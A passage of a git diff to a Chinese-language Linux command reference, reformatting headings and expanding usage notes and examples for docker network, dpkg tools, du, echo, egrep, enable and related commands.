选项参数 + +```shell +-f,--force 强制容器断开网络连接 +``` + +### docker network create +创建一个新的网络 + +```shell +docker network create [OPTIONS] NETWORK +``` + +#### 选项参数 + +```shell +--attachable API 1.25+启用手动容器附件 +--aux-address 网络驱动程序使用的辅助IPv4或IPv6地址 +--config-from API 1.30+从中复制配置的网络 +--config-only API 1.30+创建仅配置网络 +-d,--driver bridge 驱动程序来管理网络 +--gateway 主子网的IPv4或IPv6网关 +--ingress API 1.29+创建群集路由网状网络 +--internal 限制外部访问网络 +--ip-range 从子范围分配容器ip +--ipam-driver IP地址管理驱动程序 +--ipam-opt 设置IPAM驱动程序特定选项 +--ipv6 启用IPv6网络 +--label 在网络上设置元数据 +-o,--opt 设置驱动程序特定选项 +--scope API 1.30+控制网络范围 +--subnet 代表网段的CIDR格式的子网 +``` + +### docker network inspect +返回有关一个或多个网络的信息。默认情况下,此命令将所有结果呈现在JSON对象中。 + +```shell +docker network inspect [OPTIONS] NETWORK [NETWORK...] +``` + +#### 选项参数 + +```shell +-f,--format 使用给定的Go模板格式化输出 +-v,--verbose 详细输出以进行诊断 +``` + +### docker network ls +列出引擎daemon知道的所有网络。这包括跨群集中多个主机的网络 + +```shell +docker network ls [OPTIONS] +``` + +#### 选项参数 + +```shell +-f,--filter 提供过滤器值(例如"driver = bridge") +--format 使用Go模板的精美印刷网络 +--no-trunc 不要截断输出 +-q,--quiet 仅显示网络ID +``` + +### docker network prune +删除所有未使用的网络。未使用的网络是未被任何正在使用的容器引用的网络()。 + +```shell +docker network prune [OPTIONS] +``` + +#### 选项参数 + +```shell +--filter 提供过滤器值(例如'until =') +-f,--force 不提示确认 +``` +### docker network rm +按名称或标识符删除一个或多个网络。要删除网络,必须首先断开连接到它的所有容器。 + +```shell +docker network rm NETWORKID [NETWORKID...] +``` + +## 官网 + +更多安装使用方法可以访问学习:https://wangchujiang.com/reference/docs/docker.html +由上海 屠天煜编写 diff --git a/command/domainname.md b/command/domainname.md index a049411f96a..7acccdb7b9d 100644 --- a/command/domainname.md +++ b/command/domainname.md @@ -7,24 +7,24 @@ domainname **domainname命令** 用于显示和设置系统的NIS域名。 -### 语法 +### 语法 ```shell domainname(选项)(参数) ``` -### 选项 +### 选项 ```shell -v:详细信息模式; -F:指定读取域名信息的文件。 ``` -### 参数 +### 参数 NIS域名:指定要设置的NIS域名。 -### 实例 +### 实例 ```shell [root@AY1307311912260196fcZ ~]# domainname -v @@ -39,4 +39,3 @@ www.jsdig.com ``` - \ No newline at end of file diff --git a/command/dos2unix.md b/command/dos2unix.md index 389901fb6e2..fcf64460c58 100644 --- a/command/dos2unix.md +++ b/command/dos2unix.md @@ -64,4 +64,3 @@ dos2unix -k -n oldfile newfile find -type f | xargs dos2unix ``` - \ No newline at end of file diff --git a/command/dpkg-deb.md b/command/dpkg-deb.md index e1ccfc34488..b8ff7ec24ec 100644 --- a/command/dpkg-deb.md +++ b/command/dpkg-deb.md @@ -7,13 +7,13 @@ Debian Linux下的软件包管理工具 **dpkg-deb命令** 是Debian Linux下的软件包管理工具,它可以对软件包执行打包和解包操作以及提供软件包信息。 -### 语法 +### 语法 ```shell dpkg-deb(选项)(参数) ``` -### 选项 +### 选项 ```shell -c:显示软件包中的文件列表; @@ -27,11 +27,11 @@ dpkg-deb(选项)(参数) -b:创建debian软件包。 ``` -### 参数 +### 参数 文件:指定要操作的“.deb”软件包的全名或软件名。 -### 实例 +### 实例 解压程序文件: @@ -58,4 +58,3 @@ dpkg-deb -c demo.deb ``` - \ No newline at end of file diff --git a/command/dpkg-divert.md b/command/dpkg-divert.md index 7c1ab4f46c1..d17dc5d2a42 100644 --- a/command/dpkg-divert.md +++ b/command/dpkg-divert.md @@ -7,13 +7,13 @@ Debian Linux中创建并管理一个转向列表 **dpkg-divert命令** 是Debian Linux中创建并管理一个转向(diversion)列表,其使得安装文件的默认位置失效的工具。 -### 语法 +### 语法 ```shell dpkg-divert(选项)(参数) ``` -### 选项 +### 选项 ```shell --add:添加一个转移文件; @@ -23,11 +23,11 @@ dpkg-divert(选项)(参数) --quidet:安静模式。 ``` -### 参数 +### 参数 文件:指定转移文件名。 -### 实例 +### 实例 指定软件包wibble安装时,写入`/usr/bin/example.foo`,而不是`/usr/bin/example`: @@ -54,4 +54,3 @@ dpkg-divert --divert /usr/bin/example.foo --rename /usr/bin/example ``` - \ No newline at end of file diff --git a/command/dpkg-preconfigure.md b/command/dpkg-preconfigure.md index a566ca1bda4..04946978f1f 100644 --- a/command/dpkg-preconfigure.md +++ b/command/dpkg-preconfigure.md @@ -7,13 +7,13 @@ Debian Linux中软件包安装之前询问问题 **dpkg-preconfigure命令** 用于在Debian Linux中软件包安装之前询问问题。 -### 语法 +### 语法 ```shell dpkg-preconfigure(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:选择使用的前端; @@ -21,11 +21,11 @@ dpkg-preconfigure(选项)(参数) --apt:在apt模式下运行。 ``` -### 参数 +### 参数 软件包:指定“.deb”软件包。 -### 实例 +### 实例 导入debconf模板: @@ -34,4 +34,3 @@ dpkg-preconfigure /var/cache/apt/archives/mysql-server-5.5*.deb ``` - \ No newline at end of file diff --git a/command/dpkg-query.md b/command/dpkg-query.md index 37134031641..33f848d8bfa 100644 --- a/command/dpkg-query.md +++ b/command/dpkg-query.md @@ -7,13 +7,13 @@ Debian Linux中软件包的查询工具 **dpkg-query命令** 是Debian Linux中软件包的查询工具,它从dpkg软件包数据库中查询并辨识软件包的信息。 -### 语法 +### 语法 ```shell dpkg-query(选项)(参数) ``` -### 选项 +### 选项 ```shell -l:列出符合匹配模式的软件包; @@ -25,11 +25,11 @@ dpkg-query(选项)(参数) -p:显示软件包的细节。 ``` -### 参数 +### 参数 软件包名称:指定需要查询的软件包。 -### 实例 +### 实例 查找文件file1在哪个包里安装: @@ -68,4 +68,3 @@ dpkg-query -W -f='${Status} ${Version}\n' apache-perl ``` - \ No newline at end of file diff --git a/command/dpkg-reconfigure.md b/command/dpkg-reconfigure.md index ed9fd967fd2..ad4221b8424 100644 --- a/command/dpkg-reconfigure.md +++ b/command/dpkg-reconfigure.md @@ -9,13 +9,13 @@ Debian Linux中重新配制一个已经安装的软件包 当用户需要再次对软件包配置的时候,可以使用dpkg-reconfigure命令来对指定的软件包进行配置。 -### 语法 +### 语法 ```shell dpkg-reconfigure(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:重新配置所有的软件包; @@ -28,11 +28,11 @@ dpkg-reconfigure(选项)(参数) --terse:开启简要模式。 ``` -### 参数 +### 参数 软件包名:需要重新配置的已安装的软件包。 -### 实例 +### 实例 用于配置语言: @@ -41,4 +41,3 @@ sudo dpkg-reconfigure locales ``` - \ No newline at end of file diff --git a/command/dpkg-split.md b/command/dpkg-split.md index 328dcad8763..262e51ec4fe 100644 --- a/command/dpkg-split.md +++ b/command/dpkg-split.md @@ -7,13 +7,13 @@ Debian Linux中将大软件包分割成小包 **dpkg-split命令** 用来将Debian Linux中的大软件包分割成小软件包,它还能够将已分割的文件进行合并。 -### 语法 +### 语法 ```shell dpkg-split(选项)(参数) ``` -### 选项 +### 选项 ```shell -S:设置分割后的每个小文件最大尺寸(以字节为单位); @@ -24,11 +24,11 @@ dpkg-split(选项)(参数) -dscard<文件名>:忽略不匹配的部分。 ``` -### 参数 +### 参数 软件包:指定需要分割的“.deb”软件包。 -### 实例 +### 实例 把foo.deb分割出N个大小为460KB的文件: @@ -43,4 +43,3 @@ dpkg-split -j "foo*" ``` - \ No newline at end of file diff --git a/command/dpkg-statoverride.md b/command/dpkg-statoverride.md index 75f148635e7..0fcec1f86e7 100644 --- a/command/dpkg-statoverride.md +++ b/command/dpkg-statoverride.md @@ -7,13 +7,13 @@ Debian Linux中覆盖文件的所有权和模式 **dpkg-statoverride命令** 用于Debian Linux中覆盖文件的所有权和模式,让dpkg于包安装时使得文件所有权与模式失效。 -### 语法 +### 语法 ```shell dpkg-statoverride(选项) ``` -### 选项 +### 选项 ```shell -add:为文件添加一个改写; @@ -22,7 +22,7 @@ dpkg-statoverride(选项) --update:如果文件存在,则立刻执行改写操作。 ``` -### 实例 +### 实例 修改文件夹的权限属性: @@ -43,4 +43,3 @@ sudo dpkg-statoverride --remove /usr/bin/wall ``` - \ No newline at end of file diff --git a/command/dpkg-trigger.md b/command/dpkg-trigger.md index 5f480ad2554..8ac8054f8e5 100644 --- a/command/dpkg-trigger.md +++ b/command/dpkg-trigger.md @@ -7,13 +7,13 @@ Debian Linux下的软件包触发器 **dpkg-trigger命令** 是Debian Linux下的软件包触发器。 -### 语法 +### 语法 ```shell dpkg-trigger(选项)(参数) ``` -### 选项 +### 选项 ```shell --check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器。 @@ -23,9 +23,8 @@ dpkg-trigger(选项)(参数) --by-package=<软件包>:覆盖触发器等待者。 ``` -### 参数 +### 参数 触发器名:指定触发器名称。 - \ No newline at end of file diff --git a/command/dpkg.md b/command/dpkg.md index f6be8a457fb..7c65c0ebb09 100644 --- a/command/dpkg.md +++ b/command/dpkg.md @@ -7,13 +7,13 @@ Debian Linux系统上安装、创建和管理软件包 **dpkg命令** 是Debian Linux系统用来安装、创建和管理软件包的实用工具。 -### 语法 +### 语法 ```shell dpkg(选项)(参数) ``` -### 选项 +### 选项 ```shell -i:安装软件包; @@ -26,11 +26,11 @@ dpkg(选项)(参数) --confiugre:配置软件包。 ``` -### 参数 +### 参数 Deb软件包:指定要操作的.deb软件包。 -### 实例 +### 实例 ```shell dpkg -i package.deb # 安装包 @@ -46,4 +46,3 @@ dpkg --configure package # 配置包 ``` - \ No newline at end of file diff --git a/command/dris.md b/command/dris.md index a85e76345e8..530bba5be83 100644 --- a/command/dris.md +++ b/command/dris.md @@ -7,13 +7,13 @@ dris **dris命令** 用于显示和清空目录堆栈中的内容。 -### 语法 +### 语法 ```shell dris(选项) ``` -### 选项 +### 选项 ```shell +n:显示从左边算起第n笔的目录; @@ -22,4 +22,3 @@ dris(选项) ``` - \ No newline at end of file diff --git a/command/dstat.md b/command/dstat.md index 0a54a916d3a..7ace67db6bb 100644 --- a/command/dstat.md +++ b/command/dstat.md @@ -7,7 +7,7 @@ dstat **dstat命令** 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具,是一个全能系统信息统计工具。与sysstat相比,dstat拥有一个彩色的界面,在手动观察性能状况时,数据比较显眼容易观察;而且dstat支持即时刷新,譬如输入`dstat 3`即每三秒收集一次,但最新的数据都会每秒刷新显示。和sysstat相同的是,dstat也可以收集指定的性能资源,譬如`dstat -c`即显示CPU的使用情况。 -### 下载安装 +### 下载安装 **方法一** @@ -24,7 +24,7 @@ wget http://dag.wieers.com/rpm/packages/dstat/dstat-0.6.7-1.rh7.rf.noarch.rpm rpm -ivh dstat-0.6.7-1.rh7.rf.noarch.rpm ``` -### 使用说明 +### 使用说明 安装完后就可以使用了,dstat非常强大,可以实时的监控cpu、磁盘、网络、IO、内存等使用情况。 @@ -49,13 +49,13 @@ usr sys idl wai hiq siq| read writ| recv send| in out | int csw 其他的都很好理解。 -### 语法 +### 语法 ```shell dstat [-afv] [options..] [delay [count]] ``` -### 常用选项 +### 常用选项 ```shell -c:显示CPU系统占用,用户占用,空闲,等待,中断,软件中断等信息。 @@ -81,7 +81,7 @@ dstat [-afv] [options..] [delay [count]] 当然dstat还有很多更高级的用法,常用的基本这些选项,更高级的用法可以结合man文档。 -### 实例 +### 实例 如想监控swap,process,sockets,filesystem并显示监控的时间: @@ -130,4 +130,3 @@ internal: dstat命令的基本用法就说到这里,更多用法有待摸索,如果您需要补充内容请给我们发邮件,谢谢! - \ No newline at end of file diff --git a/command/du.md b/command/du.md index 5de1256ed3b..7a47fcd0831 100644 --- a/command/du.md +++ b/command/du.md @@ -16,92 +16,87 @@ du [选项][文件] ### 选项 ```shell --a或-all 显示目录中个别文件的大小。 --b或-bytes 显示目录或文件大小时,以byte为单位。 --c或--total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。 --k或--kilobytes 以KB(1024bytes)为单位输出。 --m或--megabytes 以MB为单位输出。 --s或--summarize 仅显示总计,只列出最后加总的值。 --h或--human-readable 以K,M,G为单位,提高信息的可读性。 --x或--one-file-xystem 以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。 --L<符号链接>或--dereference<符号链接> 显示选项中所指定符号链接的源文件大小。 --S或--separate-dirs 显示个别目录的大小时,并不含其子目录的大小。 --X<文件>或--exclude-from=<文件> 在<文件>指定目录或文件。 ---exclude=<目录或文件> 略过指定的目录或文件。 --D或--dereference-args 显示指定符号链接的源文件大小。 --H或--si 与-h参数相同,但是K,M,G是以1000为换算单位。 --l或--count-links 重复计算硬件链接的文件。 +-a, --all 显示目录中个别文件的大小。 +-B, --block-size=大小 使用指定字节数的块 +-b, --bytes 显示目录或文件大小时,以byte为单位。 +-c, --total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。 +-D, --dereference-args 显示指定符号链接的源文件大小。 +-d, --max-depth=N 限制文件夹深度 +-H, --si 与-h参数相同,但是K,M,G是以1000为换算单位。 +-h, --human-readable 以K,M,G为单位,提高信息的可读性。 +-k, --kilobytes 以KB(1024bytes)为单位输出。 +-l, --count-links 重复计算硬件链接的文件。 +-m, --megabytes 以MB为单位输出。 +-L<符号链接>, --dereference<符号链接> 显示选项中所指定符号链接的源文件大小。 +-P, --no-dereference 不跟随任何符号链接(默认) +-0, --null 将每个空行视作0 字节而非换行符 +-S, --separate-dirs 显示个别目录的大小时,并不含其子目录的大小。 +-s, --summarize 仅显示总计,只列出最后加总的值。 +-x, --one-file-xystem 以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。 +-X<文件>, --exclude-from=<文件> 在<文件>指定目录或文件。 +--apparent-size 显示表面用量,而并非是磁盘用量;虽然表面用量通常会小一些,但有时它会因为稀疏文件间的"洞"、内部碎片、非直接引用的块等原因而变大。 +--files0-from=F 计算文件F中以NUL结尾的文件名对应占用的磁盘空间如果F的值是"-",则从标准输入读入文件名 +--exclude=<目录或文件> 略过指定的目录或文件。 +--max-depth=N 显示目录总计(与--all 一起使用计算文件)当N为指定数值时计算深度为N,等于0时等同--summarize +--si 类似-h,但在计算时使用1000 为基底而非1024 +--time 显示目录或该目录子目录下所有文件的最后修改时间 +--time=WORD 显示WORD时间,而非修改时间:atime,access,use,ctime 或status +--time-style=样式 按照指定样式显示时间(样式解释规则同"date"命令):full-iso,long-iso,iso,+FORMAT +--help 显示此帮助信息并退出 +--version 显示版本信息并退出 ``` ### 实例 -显示目录或者文件所占空间: - -```shell -root@localhost [test]# du -608 ./test6 -308 ./test4 -4 ./scf/lib -4 ./scf/service/deploy/product -4 ./scf/service/deploy/info -12 ./scf/service/deploy -16 ./scf/service -4 ./scf/doc -4 ./scf/bin -32 ./scf -8 ./test3 -1288 . +文件从大到小排序 ``` - -只显示当前目录下面的子目录的目录大小和当前目录的总的大小,最下面的1288为当前目录的总大小 - -显示指定文件所占空间: - -```shell -[root@localhost test]# du log2012.log -300 log2012.log +ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh * |sort -rh +2.9M command +1.9M assets +148K template +72K package-lock.json +52K dist +28K build +16K README.md +4.0K renovate.json +4.0K package.json +4.0K LICENSE ``` -查看指定目录的所占空间: +只显示当前目录下子目录的大小。 ```shell -[root@localhost test]# du scf -4 scf/lib -4 scf/service/deploy/product -4 scf/service/deploy/info -12 scf/service/deploy -16 scf/service -4 scf/doc -4 scf/bin -32 scf +ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh ./*/ +1.9M ./assets/ +28K ./build/ +2.9M ./command/ +52K ./dist/ +148K ./template/ ``` -显示多个文件所占空间: +查看指定目录下文件所占的空间: ```shell -[root@localhost test]# du log30.tar.gz log31.tar.gz -4 log30.tar.gz -4 log31.tar.gz +ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du ./* +144 ./alfred.png +452 ./chrome-extensions.gif +4 ./dash-icon.png +1312 ./Linux.gif +16 ./qr.png ``` 只显示总和的大小: ```shell -[root@localhost test]# du -s -1288 . - -[root@localhost test]# du -s scf -32 scf - -[root@localhost test]# cd .. -[root@localhost soft]# du -s test -1288 test +ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -s . +1932 . ``` 显示总和的大小且易读: ```shell -du -sh $dir +ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -sh . +1.9M . ``` - \ No newline at end of file + diff --git a/command/dump.md b/command/dump.md index cdbec3dc4f4..7b19e1f5cd6 100644 --- a/command/dump.md +++ b/command/dump.md @@ -7,13 +7,13 @@ dump **dump命令** 用于备份ext2或者ext3文件系统。可将目录或整个文件系统备份至指定的设备,或备份成一个大文件。 -### 语法 +### 语法 ```shell dump(选项)(参数) ``` -### 选项 +### 选项 ```shell -0123456789:备份的层级; @@ -31,11 +31,11 @@ dump(选项)(参数) -W:显示需要备份的文件及其最后一次备份的层级、时间与日期。 ``` -### 参数 +### 参数 备份源:指定要备份的文件、目录或者文件系统。 -### 实例 +### 实例 将`/home`目录所有内容备份到`/tmp/homeback.bak`文件中,备份层级为`0`并在`/etc/dumpdates`中记录相关信息: @@ -52,4 +52,3 @@ dump -1u -f /tmp/homeback.bak /home 通过dump命令的备份层级,可实现完整+增量备份、完整+差异备份,在配合crontab可以实现无人值守备份。 - \ No newline at end of file diff --git a/command/e2fsck.md b/command/e2fsck.md index e557f5c1c16..603419d3459 100644 --- a/command/e2fsck.md +++ b/command/e2fsck.md @@ -17,13 +17,13 @@ e2fsck执行后的传回值及代表意义如下: * 16 使用的语法发生错误。 * 128 共享的函数库发生错误。 -### 语法 +### 语法 ```shell e2fsck(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:不询问使用者意见,便自动修复文件系统; @@ -47,11 +47,11 @@ e2fsck(选项)(参数) -y:采取非互动方式执行,所有的问题均设置以"yes"回答。 ``` -### 参数 +### 参数 文件系统或者分区:指定文件系统或者分区所对应的设备文件名。 -### 实例 +### 实例 检查`/dev/sda1`是否有问题,如发现问题便自动修复: @@ -62,4 +62,3 @@ e2fsck -a -y /dev/sda1 执行e2fsck或fsck前请先umount partition,否则有机会令档案系统毁损。如果需要对根目录`/`进行检查及修复,便需要进入singal user mode执行。 - \ No newline at end of file diff --git a/command/e2label.md b/command/e2label.md index 76819d86a7b..3970782cfb5 100644 --- a/command/e2label.md +++ b/command/e2label.md @@ -7,18 +7,18 @@ e2label **e2label命令** 用来设置第二扩展文件系统的卷标。 -### 语法 +### 语法 ```shell e2label(参数) ``` -### 参数 +### 参数 * 文件系统:指定文件系统所对应的设备文件名; * 新卷标:为文件系统指定新卷标。 -### 实例 +### 实例 许多用了多年Linux的人可能也没有用过e2label命令。但是这个命令相当有效。在介绍它之前,我们先看看`/etc/fstab文`件: @@ -43,4 +43,3 @@ label=/new /new ext3 defaults 1 1 下次重新起动机器的时候,就会把卷标为`/new`的分区挂接到`/new`上。 - \ No newline at end of file diff --git a/command/echo.md b/command/echo.md index 3d54a3bb166..8707657f447 100644 --- a/command/echo.md +++ b/command/echo.md @@ -7,16 +7,18 @@ echo **echo命令** 用于在shell中打印shell变量的值,或者直接输出指定的字符串。linux的echo命令,在shell编程中极为常用, 在终端下打印变量value的时候也是常常用到的,因此有必要了解下echo的用法echo命令的功能是在显示器上显示一段文字,一般起到一个提示的作用。 -### 语法 +### 语法 ```shell echo(选项)(参数) ``` -### 选项 +### 选项 ```shell --e:激活转义字符。 +-e:启用转义字符。 +-E: 不启用转义字符(默认) +-n: 结尾不换行 ``` 使用`-e`选项时,若字符串中出现以下字符,则特别加以处理,而不会将它当成一般文字输出: @@ -32,15 +34,39 @@ echo(选项)(参数) - `\\` 插入\字符; - `\nnn` 插入 `nnn`(八进制)所代表的ASCII字符; -### 参数 +### 参数 变量:指定要打印的变量。 -### 实例 +### 实例 + +```shell +/bin/echo Hello, world! +``` + +在上面的命令中,两个词(Hello 和 world!)作为单独的参数传递给 echo,并且 echo 按顺序打印它们,用空格分隔 + +下一个命令产生相同的输出: + +```shell +/bin/echo 'Hello, World!' +``` + +但是,与第一个示例不同,上述命令提供了单引号字符串 'Hello, world!' 作为一个单一的一个参数。 + +单引号将可靠地保护它免受 shell 解释,将特殊字符和转义序列逐字传递给 echo。 + +例如,在 `bash shell` 中,变量名前面有一个美元符号 ($)。 在下一个命令中,引号内的变量名按字面意思处理; 在引号之外,它被转换为它的值。 + +```shell +/bin/echo 'The value of $PATH is' $PATH +# The value of $PATH is +# /home/hope/bin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +``` 用echo命令打印带有色彩的文字: - **文字色:** +**文字色:** ```shell echo -e "\e[1;31mThis is red text\e[0m" @@ -52,6 +78,17 @@ This is red text 颜色码:重置=0,黑色=30,红色=31,绿色=32,黄色=33,蓝色=34,洋红=35,青色=36,白色=37 +```shell +echo -e "\x1b[30;1m 0 黑色 \x1b[0m"\ +"\x1b[31;1m 1 红色 \x1b[0m"\ +"\x1b[32;1m 2 绿色 \x1b[0m"\ +"\x1b[33;1m 3 黄色 \x1b[0m"\ +"\x1b[34;1m 4 蓝色 \x1b[0m"\ +"\x1b[35;1m 5 洋红 \x1b[0m"\ +"\x1b[36;1m 6 青色 \x1b[0m"\ +"\x1b[37;1m 7 白色 \x1b[0m" +``` + **背景色** : ```shell @@ -70,4 +107,9 @@ echo -e "\033[37;31;5mMySQL Server Stop...\033[39;49;0m" 红色数字处还有其他数字参数:0 关闭所有属性、1 设置高亮度(加粗)、4 下划线、5 闪烁、7 反显、8 消隐 - + +**输出内容结尾不添加换行符** + +```shell +echo -n 'hello' +``` diff --git a/command/ed.md b/command/ed.md index 9bc2992cb96..d775741d12d 100644 --- a/command/ed.md +++ b/command/ed.md @@ -7,13 +7,13 @@ ed **ed命令** 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。ed命令支持多个内置命令,常见内置命令如下: -### 语法 +### 语法 ```shell ed(选项)(参数) ``` -### 选项 +### 选项 ```shell A # 切换到输入模式,在文件的最后一行之后输入新的内容; @@ -33,9 +33,8 @@ q # 退出ed编辑器。 --version:显示版本信息。 ``` -### 参数 +### 参数 文件:待编辑的文件。 - \ No newline at end of file diff --git a/command/edquota.md b/command/edquota.md index 552b09cd106..0739ac31c7e 100644 --- a/command/edquota.md +++ b/command/edquota.md @@ -7,13 +7,13 @@ edquota **edquota命令** 用于编辑指定用户或工作组磁盘配额。edquota预设会使用vi来编辑使用者或群组的quota设置。 -### 语法 +### 语法 ```shell edquota(选项)(参数) ``` -### 选项 +### 选项 ```shell -u:设置用户的quota,这是预设的参数; @@ -22,11 +22,11 @@ edquota(选项)(参数) -t:设置宽限期限。 ``` -### 参数 +### 参数 用户:指定要编辑磁盘配额限制的用户名或者工作组。 -### 实例 +### 实例 **配置系统的磁盘配额支持** @@ -200,4 +200,3 @@ Filesystem blocks quota limit grace file quota limit grace 2. 如果不带任何参数运行quota的话,查看的是你自己的配额使用情况。 - \ No newline at end of file diff --git a/command/egrep.md b/command/egrep.md index 2c289865757..1b89654ea79 100644 --- a/command/egrep.md +++ b/command/egrep.md @@ -7,13 +7,13 @@ egrep **egrep命令** 用于在文件内查找指定的字符串。egrep执行效果与`grep -E`相似,使用的语法及参数可参照grep指令,与grep的不同点在于解读字符串的方法。egrep是用extended regular expression语法来解读的,而grep则用basic regular expression 语法解读,extended regular expression比basic regular expression的表达更规范。 -### 语法 +### 语法 ```shell egrep(选项)(查找模式)(文件名1,文件名2,……) ``` -### 实例 +### 实例 显示文件中符合条件的字符。例如,查找当前目录下所有文件中包含字符串"Linux"的文件,可以使用如下命令: @@ -40,5 +40,8 @@ testfile_2:Linux is a free unix-type opterating system testfile_2:Linux test ``` +过滤注释行和空白行 - \ No newline at end of file +```shell +egrep -v '^\s*(#|$)' filename +``` diff --git a/command/eject.md b/command/eject.md index 3ffe7dcfa8f..168f337baf4 100644 --- a/command/eject.md +++ b/command/eject.md @@ -11,13 +11,13 @@ eject允许可移动介质(典型是cd-ROM、软盘、磁带、或者JAZ以及 有四种不同的弹出的方法,具体要看设备是CD-ROM, SCSI设备,可移动软盘,还是磁带而定。默认的弹出会依次尝试所有四种方法,直到成功为止。如果设备当前是挂载上来的,那么在弹出前要先卸载。 -### 语法 +### 语法 ```shell eject(选项)(参数) ``` -### 选项 +### 选项 ```shell -a<开关>或--auto<开关>:控制设备的自动退出功能; @@ -33,9 +33,8 @@ eject(选项)(参数) -v或--verbose:执行时,显示详细的说明。 ``` -### 参数 +### 参数 设备名:指定弹出的设备名称。 - \ No newline at end of file diff --git a/command/elinks.md b/command/elinks.md index 4bfccf58a73..ad857f64723 100644 --- a/command/elinks.md +++ b/command/elinks.md @@ -7,13 +7,13 @@ elinks **elinks命令** 能实现一个纯文本界面的WWW浏览器,操作方式与“lynx”类似。 -### 语法 +### 语法 ```shell elinks(选项)(参数) ``` -### 选项 +### 选项 ```shell -anonymous:是否使用匿名帐号方式; @@ -24,9 +24,8 @@ elinks(选项)(参数) -h:显示帮助信息。 ``` -### 参数 +### 参数 URL:指定要访问的URL地址。 - \ No newline at end of file diff --git a/command/elm.md b/command/elm.md index 2ad272b88b9..324e72222a1 100644 --- a/command/elm.md +++ b/command/elm.md @@ -7,13 +7,13 @@ elm **elm命令** 是一个E-mail客户端管理程序,它提供了纯文本交互式全屏幕界面。 -### 语法 +### 语法 ```shell elm(选项) ``` -### 选项 +### 选项 ```shell -s<邮件主题>:指定新邮件的邮件主题; @@ -26,4 +26,3 @@ elm(选项) ``` - \ No newline at end of file diff --git a/command/emacs.md b/command/emacs.md index d42a8cf1764..de4b2b95962 100644 --- a/command/emacs.md +++ b/command/emacs.md @@ -7,13 +7,13 @@ emacs **emacs命令** 是由GNU组织的创始人Richard Stallman开发的一个功能强大的全屏文本编辑器,它支持多种编程语言,具有很多优良的特性。有众多的系统管理员和软件开发者使用emacs。 -### 语法 +### 语法 ```shell emacs(选项)(参数) ``` -### 选项 +### 选项 ```shell +<行号>:启动emacs编辑器,并将光标移动到制定行号的行; @@ -25,7 +25,7 @@ emacs(选项)(参数) -batch:以批处理模式运行emacs编辑器。 ``` -### 参数 +### 参数 文件:指定要编辑的文本文件。 @@ -158,4 +158,3 @@ C-x C-q : 修改buffer的只读属性 ``` - \ No newline at end of file diff --git a/command/enable.md b/command/enable.md index c8c20d0c6c0..359bf7c2e97 100644 --- a/command/enable.md +++ b/command/enable.md @@ -1,96 +1,110 @@ enable === -启动或关闭shell内建命令 +启动或禁用shell内建命令 -## 补充说明 -**enable命令** 用于临时关闭或者激活指定的shell内部命令。若要执行的文件名称与shell内建命令相同,可用`enable -n`来关闭shell内建命令。若不加`-n`选项,enable可重新启动关闭的命令。 +### 概要 -linux shell命令执行时,shell总是先在自己的shell builtin中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量$PATH指定的路径中依次去查找待执行的命令。因为了解了这一点,所以看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是,有了enable命令我们就能做到了。 +enable [-a] [-dnps] [-f filename] [name ...] -### 语法 +### 主要用途 -```shell -enable(选项)(参数) -``` +- 禁用一到多个内建命令。 + +- 启用一到多个内建命令。 + +- 直接调用与禁用的内建命令同名且在`$PATH`路径下找到的外部命令。 + +- 打印所有内建命令,无论是否禁用。 +- 打印处于启用状态的内建命令。 +- 打印处于禁用状态的内建命令。 + +- 打印处于启用状态的posix标准内建命令。 +- 打印处于禁用状态的posix标准内建命令。 +- 打印posix标准内建命令,无论是否禁用。 + +- 从动态库中加载内建命令。 +- 移除从动态库中加载的内建命令。 + +#### 选项 -### 选项 ```shell --n:关闭指定的内部命令; --a:显示所有激活的内部命令; --f:从指定文件中读取内部命令。 +-a 打印所有内建命令,无论是否禁用。 +-d 移除从动态库中加载的内建命令。 +-n 禁用内建命令或显示已禁用的内建命令。 +-p 以可复用格式打印。 +-s 只显示处于启动状态的posix标准内建命令。 +-f 动态库中加载内建命令。 +-ns 打印处于禁用状态的posix标准内建命令。 +-as 打印posix标准内建命令,无论是否禁用。 ``` -### 参数 +#### 参数 + +filename:动态库文件名。 -内部命令:指定要关闭或激活的内部命令。 +name(可选):内建命令,可以为多个。 -### 实例 +#### 返回值 -使用enable命令显示所有激活的内部命令: +enable返回成功,除非name不是内建命令或有错误发生。 + +### 例子(以下内容限于篇幅不再列出返回值部分) ```shell -[root@localhost ~]# enable -a -enable . -enable : -enable alias -enable bg -enable bind -enable break -enable builtin -enable caller -enable cd -enable command -enable compgen -enable complete -enable continue -enable declare -enable dirs -enable disown -enable echo -enable enable -enable eval -enable exec -enable exit -enable export -enable false -enable fc -enable fg -enable getopts -enable hash -enable help -enable history -enable jobs -enable kill -enable let -enable local -enable logout -enable popd -enable printf -enable pushd +# posix special builtin +# 假设没有任何内建命令被禁用 +# 禁用两个posix标准内建命令 +enable -n set source +# 打印处于禁用状态的posix标准内建命令 +enable -ns +# 打印posix标准内建命令,无论是否禁用。 +enable -as +# 打印处于启用状态的posix标准内建命令 +enable -s +``` + +```shell +# 假设没有任何内建命令被禁用 +# 禁用一到多个内建命令 +enable -n echo pwd +# 打印所有内建命令,无论是否禁用。 +enable -a +# 打印处于启用状态的内建命令 +enable +# 打印处于禁用状态的内建命令 +enable -n +# 启用一到多个内建命令 enable pwd -enable read -enable readonly -enable return -enable set -enable shift -enable shopt -enable source -enable suspend -enable test -enable times -enable trap -enable true -enable type -enable typeset -enable ulimit -enable umask -enable unalias -enable unset -enable wait ``` +### Q&A + +Q:请问`-f`,`-d`,`-p`的演示呢? + +A:说明一下,`-f`与`-d`限于个人能力没有找到合适的例子,如果您有更好的例子欢迎提pr; 